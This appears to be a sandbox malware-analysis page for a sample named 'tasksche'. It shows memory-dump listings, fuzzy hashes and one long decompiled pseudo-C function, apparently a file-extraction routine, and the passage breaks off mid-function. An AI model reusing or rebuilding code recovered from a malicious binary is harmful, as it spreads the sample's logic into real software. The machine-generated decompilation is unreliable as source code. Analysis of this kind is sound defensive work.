Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: ErrorLast$FileHandleRead
String ID:
API String ID: 2244327787-0
Opcode ID: c1fed62a9ea2a8515d50b02984c21f09fd940ae1629289a4c1ded04f954c3d6f
Instruction ID: b149f771e66fe820b49a3db0cdc04a66bbf6f60059da98a6e892905e95da3d99
Opcode Fuzzy Hash: c1fed62a9ea2a8515d50b02984c21f09fd940ae1629289a4c1ded04f954c3d6f
Instruction Fuzzy Hash: B411A734504608EFEB205B50DA4096A37A8FF71374B10863FE996A52D1DE3DCD41DF2A

Uniqueness

Uniqueness Score: -1.00%

Function 004076AA Relevance: 6.0, APIs: 2, Strings: 1, Instructions: 792
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E004076AA(intOrPtr __ecx, intOrPtr __edx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t349;
				signed int _t354;
				signed int _t359;
				signed int _t363;
				char _t364;
				intOrPtr _t367;
				signed int _t370;
				char _t373;
				void* _t375;
				signed int _t379;
				signed int _t380;
				intOrPtr _t383;
				char* _t386;
				signed int _t395;
				char _t398;
				intOrPtr _t399;
				intOrPtr _t407;
				signed int _t409;
				intOrPtr _t413;
				signed int _t423;
				intOrPtr _t426;
				char _t434;
				signed int _t440;
				signed int _t445;
				signed int _t446;
				signed int _t452;
				char _t456;
				intOrPtr _t459;
				intOrPtr _t462;
				signed int _t463;
				signed int _t469;
				signed int _t475;
				intOrPtr _t476;
				signed int _t479;
				signed int _t481;
				intOrPtr _t482;
				signed int _t484;
				signed int _t490;
				intOrPtr* _t500;
				char _t502;
				intOrPtr _t504;
				signed int _t510;
				signed int _t515;
				intOrPtr _t572;
				intOrPtr _t593;
				short* _t595;
				signed int _t602;
				signed int _t603;
				intOrPtr _t607;
				intOrPtr _t611;
				void* _t613;

				_t585 = __edx;
				E0041A4DC(E004296C9, _t613);
				E0041AAF0(0x5194);
				_t500 =  *((intOrPtr*)(_t613 + 8));
				_t607 = __ecx;
				_t345 =  *( *((intOrPtr*)(__ecx + 8)) + 0x72b2) & 0x0000ffff;
				 *((intOrPtr*)(_t613 - 0x24)) = __ecx;
				 *(_t613 - 0x18) =  *( *((intOrPtr*)(__ecx + 8)) + 0x72b2) & 0x0000ffff;
				if( *((intOrPtr*)(_t613 + 0xc)) != 0) {
					L5:
					_t593 =  *((intOrPtr*)(_t500 + 0x6544));
					__eflags = _t593 - 2;
					if(_t593 == 2) {
						_t504 =  *((intOrPtr*)(_t607 + 8));
						 *((char*)(_t607 + 0x545d)) = 0;
						__eflags =  *(_t504 + 0x515c);
						if( *(_t504 + 0x515c) != 0) {
							L20:
							 *((char*)(_t613 - 0x10)) = 0;
							_t349 = E0040545B(_t504, _t500 + 0x65e8, _t613 - 0x10, 5, _t613 - 0x51a0, 0x800);
							__eflags = _t349;
							 *(_t613 - 0xe) = _t349 != 0;
							__eflags =  *(_t613 - 0xe);
							if( *(_t613 - 0xe) != 0) {
								__eflags =  *((char*)(_t613 - 0x10));
								if( *((char*)(_t613 - 0x10)) == 0) {
									 *((char*)(_t607 + 0x4459)) = 0;
								}
							}
							E00401A5C(_t500);
							E0040A618(_t607, _t500 + 0x6608, _t613 - 0x2158);
							__eflags =  *((char*)(_t500 + 0x76cb));
							if( *((char*)(_t500 + 0x76cb)) == 0) {
								_t354 = E00401A55(_t500);
								__eflags = _t354;
								if(_t354 != 0) {
									L33:
									 *((char*)(_t607 + 0x21d7)) =  *((intOrPtr*)(_t500 + 0x7671));
									 *((char*)(_t607 + 0x21d8)) = 0;
									_t586 =  *((intOrPtr*)(_t500 + 0xb04c));
									asm("sbb edx, [ebx+0x7634]");
									 *((intOrPtr*)( *_t500 + 0xc))( *((intOrPtr*)(_t500 + 0xb048)) -  *(_t500 + 0x7630),  *((intOrPtr*)(_t500 + 0xb04c)), 0);
									__eflags =  *(_t613 - 0xe);
									 *((char*)(_t613 + 0xf)) = 0;
									 *((char*)(_t613 - 0x1d)) = 0;
									if( *(_t613 - 0xe) != 0) {
										L35:
										_t359 =  *((intOrPtr*)( *((intOrPtr*)(_t607 + 8)) + 0x51c1));
										__eflags = _t359;
										if(_t359 == 0) {
											L38:
											_t510 = 0;
											__eflags = 0;
											L39:
											__eflags = _t359;
											_t363 = L004116E5(_t510, _t613 - 0x2158, (_t359 & 0xffffff00 | _t359 == 0x00000000) & 0x000000ff, _t510,  *((intOrPtr*)(_t613 - 0x1d))); // executed
											__eflags = _t363;
											if(__eflags == 0) {
												L191:
												_t364 = 0;
												L15:
												L16:
												 *[fs:0x0] =  *((intOrPtr*)(_t613 - 0xc));
												return _t364;
											}
											_t595 = _t607 + 0x545e;
											E00406F23(_t607, __eflags, _t500, _t613 - 0x2158, _t595, 0x800);
											__eflags =  *((char*)(_t613 - 0x1d));
											if( *((char*)(_t613 - 0x1d)) != 0) {
												L43:
												 *((char*)(_t613 + 0xf)) = 0;
												L44:
												_t367 =  *((intOrPtr*)(_t607 + 8));
												__eflags =  *((char*)(_t367 + 0x5153));
												if( *((char*)(_t367 + 0x5153)) != 0) {
													L46:
													__eflags =  *(_t613 - 0x18) - 0x45;
													if( *(_t613 - 0x18) == 0x45) {
														L48:
														E004067E1(_t613 - 0x31a0);
														_push(0);
														_t370 = E004096BC(_t586, _t595, _t613 - 0x31a0);
														__eflags = _t370;
														if(_t370 == 0) {
															__eflags =  *((char*)( *((intOrPtr*)(_t607 + 8)) + 0x5153));
															L53:
															if(__eflags == 0) {
																L55:
																__eflags =  *((char*)(_t500 + 0x7673));
																if( *((char*)(_t500 + 0x7673)) == 0) {
																	L60:
																	_t373 = E00407650(_t500, _t613 - 0x2158);
																	__eflags = _t373;
																	if(_t373 == 0) {
																		 *((char*)(_t613 + 0xf)) = _t373;
																		E004062BA(0x4335ac, 2);
																	}
																	_t515 = 0x40;
																	_t375 = memcpy(_t613 - 0x134,  *((intOrPtr*)( *((intOrPtr*)(_t613 - 0x24)) + 8)) + 0x4024, _t515 << 2);
																	asm("movsw");
																	 *(_t613 - 4) =  *(_t613 - 4) & 0x00000000;
																	asm("sbb edx, edx");
																	_t590 =  ~( *(_t500 + 0x7678) & 0x000000ff) & _t500 + 0x00007679;
																	 *((intOrPtr*)(_t613 - 0x28)) = _t375 + 0x10;
																	E0040B883(_t375 + 0x10, 0,  *((intOrPtr*)(_t500 + 0x7674)), _t613 - 0x134,  ~( *(_t500 + 0x7678) & 0x000000ff) & _t500 + 0x00007679, _t500 + 0x7689,  *((intOrPtr*)(_t500 + 0x76c4)), _t500 + 0x76a3, _t613 - 0x30);
																	__eflags =  *((char*)(_t500 + 0x7673));
																	if( *((char*)(_t500 + 0x7673)) != 0) {
																		__eflags =  *((char*)(_t500 + 0x7699));
																		if( *((char*)(_t500 + 0x7699)) != 0) {
																			_t469 = E0041AC04(_t500 + 0x769a, _t613 - 0x30, 8);
																			__eflags = _t469;
																			if(_t469 != 0) {
																				__eflags =  *((char*)(_t500 + 0xb064));
																				if( *((char*)(_t500 + 0xb064)) == 0) {
																					E00406376(6, _t500 + 0x1e);
																					E004062BA(0x4335ac, 0xb);
																					 *((char*)(_t613 + 0xf)) = 0;
																				}
																			}
																		}
																	}
																	_t522 = _t613 - 0x1158;
																	E00408786(_t613 - 0x1158);
																	_t379 =  *(_t500 + 0x76d8);
																	__eflags = _t379;
																	 *((char*)(_t613 - 0x11)) = _t379 != 0;
																	__eflags =  *((char*)(_t613 - 0x11));
																	 *(_t613 - 4) = 1;
																	if( *((char*)(_t613 - 0x11)) == 0) {
																		L77:
																		_t522 = _t500;
																		_t380 = E00401A55(_t500);
																		__eflags = _t380;
																		if(_t380 == 0) {
																			__eflags =  *((char*)(_t613 + 0xf));
																			if( *((char*)(_t613 + 0xf)) == 0) {
																				goto L90;
																			}
																			_t611 =  *((intOrPtr*)(_t613 - 0x24));
																			_t522 = _t611; // executed
																			_t456 = E0040753D(_t611, _t500, _t613 - 0x1158); // executed
																			 *((char*)(_t613 + 0xf)) = _t456;
																			goto L88;
																		}
																		__eflags =  *((char*)(_t613 + 0xf));
																		if( *((char*)(_t613 + 0xf)) == 0) {
																			L85:
																			 *(_t613 - 4) = 0;
																			E00408C7D(_t500, _t613 - 0x1158);
																			 *(_t613 - 4) =  *(_t613 - 4) | 0xffffffff;
																			E0040D111(_t613 - 0x134);
																			goto L14;
																		}
																		__eflags =  *(_t613 - 0x18) - 0x50;
																		if( *(_t613 - 0x18) == 0x50) {
																			goto L85;
																		}
																		__eflags =  *(_t613 - 0x18) - 0x49;
																		if( *(_t613 - 0x18) == 0x49) {
																			goto L85;
																		}
																		__eflags =  *(_t613 - 0x18) - 0x45;
																		if( *(_t613 - 0x18) == 0x45) {
																			goto L85;
																		}
																		_t572 =  *((intOrPtr*)(_t613 - 0x24));
																		_t459 =  *((intOrPtr*)(_t572 + 8));
																		__eflags =  *((intOrPtr*)(_t459 + 0x5158)) - 1;
																		if( *((intOrPtr*)(_t459 + 0x5158)) == 1) {
																			goto L85;
																		}
																		_t143 = _t572 + 0x444c;
																		 *_t143 =  *(_t572 + 0x444c) + 1;
																		__eflags =  *_t143;
																		_push(_t613 - 0x2158);
																		_push(_t500);
																		E00407391(_t572);
																		_t502 = 1;
																		goto L84;
																	} else {
																		__eflags = _t379 - 5;
																		if(_t379 == 5) {
																			goto L77;
																		}
																		__eflags =  *((char*)(_t613 + 0xf));
																		if( *((char*)(_t613 + 0xf)) == 0) {
																			L90:
																			_t611 =  *((intOrPtr*)(_t613 - 0x24));
																			L91:
																			__eflags =  *((char*)(_t500 + 0xb054));
																			if( *((char*)(_t500 + 0xb054)) == 0) {
																				__eflags =  *((char*)(_t613 + 0xf));
																				if( *((char*)(_t613 + 0xf)) == 0) {
																					L184:
																					 *(_t613 - 4) = 0;
																					E00408C7D(_t500, _t613 - 0x1158);
																					 *(_t613 - 4) =  *(_t613 - 4) | 0xffffffff;
																					E0040D111(_t613 - 0x134);
																					__eflags =  *(_t613 - 0xe);
																					if( *(_t613 - 0xe) != 0) {
																						_t333 = _t611 + 0x4454;
																						 *_t333 =  *(_t611 + 0x4454) + 1;
																						__eflags =  *_t333;
																					}
																					L186:
																					_t383 =  *((intOrPtr*)(_t613 - 0x24));
																					__eflags =  *((char*)(_t383 + 0x21d8));
																					if( *((char*)(_t383 + 0x21d8)) != 0) {
																						goto L191;
																					}
																					__eflags =  *((char*)(_t613 + 0xf));
																					if( *((char*)(_t613 + 0xf)) != 0) {
																						L14:
																						_t364 = 1;
																						goto L15;
																					}
																					__eflags =  *((char*)(_t500 + 0xb054));
																					if( *((char*)(_t500 + 0xb054)) != 0) {
																						__eflags =  *((char*)(_t613 - 0x1d));
																						if( *((char*)(_t613 - 0x1d)) != 0) {
																							goto L14;
																						}
																						goto L191;
																					}
																					L189:
																					E004010C0(_t500);
																					goto L14;
																				}
																				L95:
																				_t386 =  *((intOrPtr*)(_t611 + 8)) + 0x51c1;
																				__eflags =  *_t386;
																				if( *_t386 == 0) {
																					L97:
																					__eflags =  *((char*)(_t613 - 0x1d));
																					if( *((char*)(_t613 - 0x1d)) != 0) {
																						L125:
																						__eflags =  *((char*)(_t613 - 0x1d));
																						 *((char*)(_t613 - 0xf)) = 1;
																						if( *((char*)(_t613 - 0x1d)) != 0) {
																							L102:
																							 *((intOrPtr*)(_t611 + 0x4450)) =  *((intOrPtr*)(_t611 + 0x4450)) + 1;
																							 *((intOrPtr*)(_t611 + 0x21f8)) = 0;
																							 *((intOrPtr*)(_t611 + 0x21fc)) = 0;
																							 *((intOrPtr*)(_t611 + 0x2200)) = 0;
																							 *((intOrPtr*)(_t611 + 0x2204)) = 0;
																							E00409885(_t611 + 0x38e0,  *((intOrPtr*)(_t500 + 0x7648)),  *((intOrPtr*)( *((intOrPtr*)(_t611 + 8)) + 0x7298)));
																							E00409885(_t611 + 0x2218,  *((intOrPtr*)(_t500 + 0x7648)),  *((intOrPtr*)( *((intOrPtr*)(_t611 + 8)) + 0x7298)));
																							 *(_t611 + 0x30) =  *(_t500 + 0x7630);
																							 *(_t611 + 0x34) =  *(_t500 + 0x7634);
																							E0040B863( *((intOrPtr*)(_t613 - 0x28)), _t500, _t613 - 0x1158);
																							_t395 =  *((intOrPtr*)(_t613 - 0xf));
																							 *(_t611 + 0x39) = _t395;
																							 *((char*)(_t611 + 0x3a)) =  *((intOrPtr*)(_t613 - 0x1d));
																							__eflags = _t395;
																							if(_t395 != 0) {
																								L114:
																								_t531 =  *((intOrPtr*)(_t611 + 8));
																								 *((char*)( *((intOrPtr*)(_t611 + 8)) + 0x5194)) =  *((char*)(_t613 - 0xf));
																								 *((char*)(_t613 - 0x1145)) = _t395 & 0xffffff00 |  *((char*)( *((intOrPtr*)(_t611 + 8)) + 0x5194)) == 0x00000000;
																								if( *((char*)(_t613 - 0xf)) != 0) {
																									L117:
																									 *((char*)(_t613 - 0xd)) = 0;
																									L118:
																									__eflags =  *((char*)(_t613 - 0x11));
																									 *((char*)(_t613 - 0x19)) = 1;
																									 *((char*)(_t613 + 0xb)) = 1;
																									if( *((char*)(_t613 - 0x11)) == 0) {
																										__eflags =  *((char*)(_t500 + 0x7670));
																										if( *((char*)(_t500 + 0x7670)) == 0) {
																											__eflags =  *((char*)(_t500 + 0x6602));
																											if(__eflags != 0) {
																												_push( *(_t500 + 0x76c8) & 0x000000ff);
																												_push( *((intOrPtr*)(_t500 + 0x76cc)));
																												E004126F0( *((intOrPtr*)(_t611 + 0x4448))); // executed
																												_t426 =  *((intOrPtr*)(_t611 + 0x4448));
																												_t590 =  *(_t500 + 0x763c);
																												 *(_t426 + 0x4c40) =  *(_t500 + 0x7638);
																												 *(_t426 + 0x4c44) =  *(_t500 + 0x763c);
																												 *((char*)(_t426 + 0x4c58)) = 0;
																												E00418AFF( *((intOrPtr*)(_t611 + 0x4448)),  *(_t500 + 0x6601) & 0x000000ff,  *(_t500 + 0x76c8) & 0x000000ff); // executed
																											} else {
																												_push( *(_t500 + 0x763c));
																												_push( *(_t500 + 0x7638));
																												_push( *((intOrPtr*)(_t613 - 0x28)));
																												E004071DF(_t590, __eflags);
																											}
																										}
																										L147:
																										E004010C0(_t500);
																										__eflags =  *((char*)(_t500 + 0x7671));
																										if(__eflags != 0) {
																											L150:
																											_t398 = 0;
																											__eflags = 0;
																											L151:
																											__eflags =  *(_t500 + 0x76c8);
																											if( *(_t500 + 0x76c8) != 0) {
																												__eflags =  *((char*)(_t500 + 0x6602));
																												if( *((char*)(_t500 + 0x6602)) == 0) {
																													L159:
																													__eflags =  *((char*)(_t613 - 0x1d));
																													 *((char*)(_t613 - 0xd)) = 0;
																													if( *((char*)(_t613 - 0x1d)) != 0) {
																														L169:
																														__eflags =  *((char*)(_t613 - 0xf));
																														if( *((char*)(_t613 - 0xf)) != 0) {
																															goto L184;
																														}
																														__eflags =  *(_t613 - 0x18) - 0x58;
																														if( *(_t613 - 0x18) == 0x58) {
																															L172:
																															__eflags =  *((char*)(_t613 - 0x11));
																															if( *((char*)(_t613 - 0x11)) == 0) {
																																L175:
																																__eflags =  *((char*)(_t613 - 0xd));
																																if( *((char*)(_t613 - 0xd)) == 0) {
																																	L178:
																																	_t399 =  *((intOrPtr*)(_t611 + 8));
																																	__eflags =  *((char*)(_t399 + 0x5150));
																																	if( *((char*)(_t399 + 0x5150)) != 0) {
																																		_t304 = _t500 + 0x6604;
																																		 *_t304 =  *(_t500 + 0x6604) & 0xffffffdf;
																																		__eflags =  *_t304;
																																	}
																																	asm("sbb ecx, ecx");
																																	asm("sbb ecx, ecx");
																																	asm("sbb ecx, ecx");
																																	E00408D35(_t613 - 0x1158,  ~( *( *((intOrPtr*)(_t611 + 8)) + 0x628c)) & _t500 + 0x00007618,  ~( *( *((intOrPtr*)(_t611 + 8)) + 0x6290)) & _t500 + 0x00007620,  ~( *( *((intOrPtr*)(_t611 + 8)) + 0x6294)) & _t500 + 0x00007628);
																																	E00408A32(_t613 - 0x1158);
																																	asm("sbb ecx, ecx");
																																	asm("sbb ecx, ecx");
																																	E00408C57(_t500 + 0x7618,  ~( *( *((intOrPtr*)(_t611 + 8)) + 0x628c)) & _t500 + 0x00007618,  ~( *( *((intOrPtr*)(_t611 + 8)) + 0x6294)) & _t500 + 0x00007628);
																																	_t407 =  *((intOrPtr*)(_t611 + 8));
																																	__eflags =  *((char*)(_t407 + 0x519b));
																																	if( *((char*)(_t407 + 0x519b)) == 0) {
																																		_t409 = E0040908D(_t613 - 0x113a,  *(_t500 + 0x6604));
																																		__eflags = _t409;
																																		if(_t409 == 0) {
																																			E0040639F(0x10, _t500 + 0x1e, _t613 - 0x113a);
																																		}
																																	}
																																	 *((char*)(_t611 + 0x545d)) = 1;
																																	goto L184;
																																}
																																_t413 =  *((intOrPtr*)(_t611 + 8));
																																__eflags =  *((char*)(_t413 + 0x5194));
																																if( *((char*)(_t413 + 0x5194)) == 0) {
																																	goto L184;
																																}
																																E00408C47(_t613 - 0x1158);
																																goto L178;
																															}
																															__eflags =  *(_t500 + 0x76d8) - 5;
																															if( *(_t500 + 0x76d8) != 5) {
																																goto L184;
																															}
																															__eflags =  *((char*)(_t613 + 0xb));
																															if( *((char*)(_t613 + 0xb)) == 0) {
																																goto L184;
																															}
																															goto L175;
																														}
																														__eflags =  *(_t613 - 0x18) - 0x45;
																														if( *(_t613 - 0x18) != 0x45) {
																															goto L184;
																														}
																														goto L172;
																													}
																													__eflags =  *((char*)(_t613 - 0x19));
																													if( *((char*)(_t613 - 0x19)) == 0) {
																														goto L169;
																													}
																													__eflags = _t398;
																													if(_t398 != 0) {
																														goto L169;
																													}
																													__eflags =  *((intOrPtr*)(_t500 + 0x7673)) - _t398;
																													if( *((intOrPtr*)(_t500 + 0x7673)) == _t398) {
																														L167:
																														_push(_t613 - 0x2158);
																														_push(_t500 + 0x1e);
																														_push(3);
																														L168:
																														E0040639F();
																														 *((char*)(_t613 - 0xd)) = 1;
																														E004062BA(0x4335ac, 3);
																														goto L169;
																													}
																													__eflags =  *((intOrPtr*)(_t500 + 0x7699)) - _t398;
																													if( *((intOrPtr*)(_t500 + 0x7699)) == _t398) {
																														L165:
																														__eflags =  *((char*)(_t611 + 0x445b));
																														if( *((char*)(_t611 + 0x445b)) != 0) {
																															goto L167;
																														}
																														_push(_t613 - 0x2158);
																														_push(_t500 + 0x1e);
																														_push(4);
																														goto L168;
																													}
																													__eflags =  *((intOrPtr*)(_t500 + 0xb064)) - _t398;
																													if( *((intOrPtr*)(_t500 + 0xb064)) == _t398) {
																														goto L167;
																													}
																													goto L165;
																												}
																												__eflags =  *(_t500 + 0x763c);
																												if(__eflags < 0) {
																													goto L159;
																												}
																												if(__eflags > 0) {
																													L157:
																													__eflags = _t398;
																													if(_t398 != 0) {
																														 *((char*)(_t611 + 0x445b)) = 1;
																													}
																													goto L159;
																												}
																												__eflags =  *(_t500 + 0x7638);
																												if( *(_t500 + 0x7638) <= 0) {
																													goto L159;
																												}
																												goto L157;
																											}
																											 *((char*)(_t611 + 0x445b)) = 0;
																											goto L159;
																										}
																										asm("sbb ecx, ecx");
																										_t423 = E00409AE9(_t500, _t611 + 0x38e0, _t590, __eflags, _t500 + 0x7648,  ~( *(_t500 + 0x76a2) & 0x000000ff) & _t500 + 0x000076a3);
																										__eflags = _t423;
																										if(_t423 == 0) {
																											goto L150;
																										}
																										_t398 = 1;
																										goto L151;
																									}
																									_t602 =  *(_t500 + 0x76d8);
																									__eflags = _t602 - 4;
																									if(__eflags == 0) {
																										L129:
																										_t560 = _t611;
																										E00406F23(_t611, __eflags, _t500, _t500 + 0x76dc, _t613 - 0x41a0, 0x800);
																										__eflags =  *((char*)(_t613 - 0xd));
																										if( *((char*)(_t613 - 0xd)) == 0) {
																											L135:
																											__eflags =  *((intOrPtr*)(_t500 + 0xb050)) - 2;
																											if( *((intOrPtr*)(_t500 + 0xb050)) != 2) {
																												L138:
																												__eflags =  *((char*)(_t613 - 0xd));
																												if( *((char*)(_t613 - 0xd)) == 0) {
																													L141:
																													_t434 = 0;
																													__eflags = 0;
																													L142:
																													 *((char*)(_t611 + 0x545d)) = _t434;
																													goto L147;
																												}
																												L139:
																												__eflags =  *((char*)(_t613 + 0xb));
																												if( *((char*)(_t613 + 0xb)) == 0) {
																													goto L141;
																												}
																												_t434 = 1;
																												goto L142;
																											}
																											__eflags =  *((char*)(_t613 - 0xd));
																											if( *((char*)(_t613 - 0xd)) != 0) {
																												goto L139;
																											}
																											L137:
																											 *((char*)(_t613 - 0x19)) = 0;
																											goto L138;
																										}
																										__eflags =  *((short*)(_t613 - 0x41a0));
																										if( *((short*)(_t613 - 0x41a0)) == 0) {
																											goto L135;
																										}
																										_push(0x800);
																										_push(_t613 - 0x41a0);
																										_push(_t611 + 0x545e);
																										__eflags = _t602 - 4;
																										if(__eflags != 0) {
																											_push(_t500 + 0x1e);
																											_push(_t613 - 0x1158);
																											_t440 = E00407276(_t590, _t602, __eflags);
																										} else {
																											_t440 = E0040677F(_t560, _t602, __eflags);
																										}
																										L134:
																										 *((char*)(_t613 + 0xb)) = _t440;
																										__eflags = _t440;
																										if(_t440 == 0) {
																											goto L137;
																										}
																										goto L135;
																									}
																									__eflags = _t602 - 5;
																									if(__eflags == 0) {
																										goto L129;
																									}
																									__eflags = _t602 - 1;
																									if(_t602 == 1) {
																										L127:
																										__eflags =  *((char*)(_t613 - 0xd));
																										if( *((char*)(_t613 - 0xd)) == 0) {
																											goto L135;
																										}
																										_push(_t611 + 0x545e);
																										_t440 = E00406CDB(_t531,  *((intOrPtr*)(_t613 - 0x28)), _t500);
																										goto L134;
																									}
																									__eflags = _t602 - 2;
																									if(_t602 == 2) {
																										goto L127;
																									}
																									__eflags = _t602 - 3;
																									if(_t602 == 3) {
																										goto L127;
																									}
																									E0040639F(0x46, _t500 + 0x1e, _t611 + 0x545e);
																									 *((char*)(_t613 + 0xb)) = 0;
																									goto L137;
																								}
																								__eflags =  *((char*)(_t613 - 0x1d));
																								if( *((char*)(_t613 - 0x1d)) != 0) {
																									goto L117;
																								}
																								__eflags =  *(_t613 - 0x18) - 0x50;
																								 *((char*)(_t613 - 0xd)) = 1;
																								if( *(_t613 - 0x18) != 0x50) {
																									goto L118;
																								}
																								goto L117;
																							}
																							__eflags =  *((intOrPtr*)(_t500 + 0xb064)) - _t395;
																							if( *((intOrPtr*)(_t500 + 0xb064)) != _t395) {
																								goto L114;
																							}
																							_t445 =  *(_t500 + 0x7630);
																							_t590 =  *(_t500 + 0x763c);
																							_t603 =  *(_t500 + 0x7638);
																							_t395 = _t445 << 0xb;
																							__eflags = ( *(_t500 + 0x7634) << 0x00000020 | _t445) << 0xb - _t590;
																							if(__eflags < 0) {
																								goto L114;
																							}
																							if(__eflags > 0) {
																								L107:
																								__eflags = _t590;
																								if(__eflags < 0) {
																									L113:
																									_t395 = E00408FBF(_t613 - 0x1158,  *(_t500 + 0x7638),  *(_t500 + 0x763c));
																									goto L114;
																								}
																								if(__eflags > 0) {
																									L110:
																									_t395 = E00408E03(_t500, _t590);
																									__eflags = _t590 -  *(_t500 + 0x7634);
																									if(__eflags < 0) {
																										goto L114;
																									}
																									if(__eflags > 0) {
																										goto L113;
																									}
																									__eflags = _t395 -  *(_t500 + 0x7630);
																									if(_t395 <=  *(_t500 + 0x7630)) {
																										goto L114;
																									}
																									goto L113;
																								}
																								__eflags = _t603 - 0x5f5e100;
																								if(_t603 < 0x5f5e100) {
																									goto L113;
																								}
																								goto L110;
																							}
																							__eflags = _t395 - _t603;
																							if(_t395 <= _t603) {
																								goto L114;
																							}
																							goto L107;
																						}
																						L101:
																						_t176 = _t611 + 0x444c;
																						 *_t176 =  *(_t611 + 0x444c) + 1;
																						__eflags =  *_t176;
																						goto L102;
																					}
																					__eflags =  *(_t613 - 0x18) - 0x50;
																					 *((char*)(_t613 - 0xf)) = 0;
																					if( *(_t613 - 0x18) != 0x50) {
																						_t446 = E00408C5A(_t613 - 0x1158);
																						__eflags = _t446;
																						if(_t446 != 0) {
																							E0040639F(0x3a, _t500 + 0x1e, _t611 + 0x545e);
																							E004064F3(0x4335ac, _t500 + 0x1e, _t611 + 0x545e);
																						}
																					}
																					goto L101;
																				}
																				 *((char*)(_t611 + 0x545d)) = 1;
																				__eflags =  *_t386;
																				if( *_t386 != 0) {
																					goto L125;
																				}
																				goto L97;
																			}
																			 *((char*)(_t613 - 0x1d)) = 1;
																			 *((char*)(_t613 + 0xf)) = 1;
																			_t452 = L004116E5(_t522, _t613 - 0x2158, 0, 0, 1);
																			__eflags = _t452;
																			if(_t452 != 0) {
																				goto L95;
																			}
																			_t502 = 0;
																			L84:
																			 *(_t613 - 4) = 0;
																			E00408C7D(_t502, _t613 - 0x1158);
																			 *(_t613 - 4) =  *(_t613 - 4) | 0xffffffff;
																			E0040D111(_t613 - 0x134);
																			_t364 = _t502;
																			goto L15;
																		}
																		__eflags =  *(_t613 - 0x18) - 0x50;
																		_t611 =  *((intOrPtr*)(_t613 - 0x24));
																		if( *(_t613 - 0x18) == 0x50) {
																			L88:
																			__eflags =  *((char*)(_t613 + 0xf));
																			if( *((char*)(_t613 + 0xf)) != 0) {
																				goto L95;
																			}
																			goto L91;
																		}
																		_t462 =  *((intOrPtr*)(_t611 + 8));
																		__eflags =  *((char*)(_t462 + 0x51c1));
																		if( *((char*)(_t462 + 0x51c1)) != 0) {
																			goto L88;
																		}
																		_t605 = _t611 + 0x545e;
																		 *((char*)(_t613 + 0xb)) = 0;
																		_t463 = E004092A5(_t611 + 0x545e);
																		__eflags = _t463;
																		if(_t463 == 0) {
																			L75:
																			__eflags =  *((char*)(_t613 + 0xb));
																			if( *((char*)(_t613 + 0xb)) == 0) {
																				goto L88;
																			}
																			L76:
																			 *((char*)(_t613 + 0xf)) = 0;
																			goto L88;
																		}
																		__eflags =  *((char*)(_t613 + 0xb));
																		if( *((char*)(_t613 + 0xb)) != 0) {
																			goto L76;
																		}
																		E004086BE( *((intOrPtr*)(_t611 + 8)), 0, _t605, 0x800, _t613 + 0xb,  *(_t500 + 0x7638),  *(_t500 + 0x763c), _t500 + 0x7618, 0);
																		goto L75;
																	}
																}
																_t475 = E0040733E(_t607, _t500, _t613 - 0x2158);
																__eflags = _t475;
																if(_t475 != 0) {
																	_t476 =  *((intOrPtr*)(_t607 + 8));
																	__eflags =  *((char*)(_t476 + 0x4124));
																	if( *((char*)(_t476 + 0x4124)) == 0) {
																		E004062BA(0x4335ac, 1);
																		 *((char*)(_t613 + 0xf)) = 0;
																	}
																	goto L60;
																}
																 *((char*)(_t607 + 0x645e)) = 1;
																goto L191;
															}
															L54:
															 *((char*)(_t613 + 0xf)) = 0;
															goto L55;
														}
														_t479 = E00407048(_t613 - 0x2190, _t500 + 0x7618);
														__eflags = _t479;
														if(_t479 == 0) {
															goto L55;
														}
														__eflags =  *((char*)(_t613 - 0x2194));
														if( *((char*)(_t613 - 0x2194)) == 0) {
															goto L54;
														} else {
															__eflags = E0040702A(_t613 - 0x2190, _t607);
															goto L53;
														}
													}
													__eflags =  *(_t613 - 0x18) - 0x58;
													if( *(_t613 - 0x18) != 0x58) {
														goto L55;
													}
													goto L48;
												}
												__eflags =  *((char*)(_t367 + 0x5154));
												if( *((char*)(_t367 + 0x5154)) == 0) {
													goto L55;
												}
												goto L46;
											}
											__eflags =  *_t595;
											if( *_t595 == 0) {
												goto L43;
											}
											__eflags =  *((char*)(_t500 + 0x7670));
											 *((char*)(_t613 + 0xf)) = 1;
											if( *((char*)(_t500 + 0x7670)) == 0) {
												goto L44;
											}
											goto L43;
										}
										__eflags =  *(_t613 - 0x18) - 0x49;
										if( *(_t613 - 0x18) == 0x49) {
											goto L38;
										} else {
											_t510 = 1;
											goto L39;
										}
									}
									_t481 =  *((intOrPtr*)(_t500 + 0xb054));
									 *((char*)(_t613 - 0x1d)) = _t481;
									__eflags = _t481;
									if(_t481 == 0) {
										goto L186;
									}
									goto L35;
								}
								_t482 =  *((intOrPtr*)(_t607 + 8));
								__eflags =  *((intOrPtr*)(_t482 + 0x6284)) - 1;
								if( *((intOrPtr*)(_t482 + 0x6284)) <= 1) {
									goto L33;
								}
								L32:
								 *(_t613 - 0xe) = 0;
								goto L33;
							}
							_t484 =  *( *((intOrPtr*)(_t607 + 8)) + 0x6284);
							__eflags = _t484 - 1;
							if(_t484 == 1) {
								goto L33;
							}
							__eflags =  *((char*)(_t613 - 0x10));
							if( *((char*)(_t613 - 0x10)) != 0) {
								goto L33;
							} else {
								__eflags = _t484;
								if(__eflags == 0) {
									 *(_t613 - 0xe) = _t484;
								}
								_push(0);
								__eflags =  *( *((intOrPtr*)(_t607 + 8)) + 0x6284) - 1 - E0040A351(_t613, __eflags, _t613 - 0x2158);
								if(__eflags != 0) {
									goto L32;
								} else {
									_push(1);
									E0040A351(_t613, __eflags, _t613 - 0x2158);
									goto L33;
								}
							}
						}
						__eflags =  *((intOrPtr*)(_t607 + 0x4454)) -  *((intOrPtr*)(_t504 + 0x92e8));
						if( *((intOrPtr*)(_t607 + 0x4454)) <  *((intOrPtr*)(_t504 + 0x92e8))) {
							goto L20;
						}
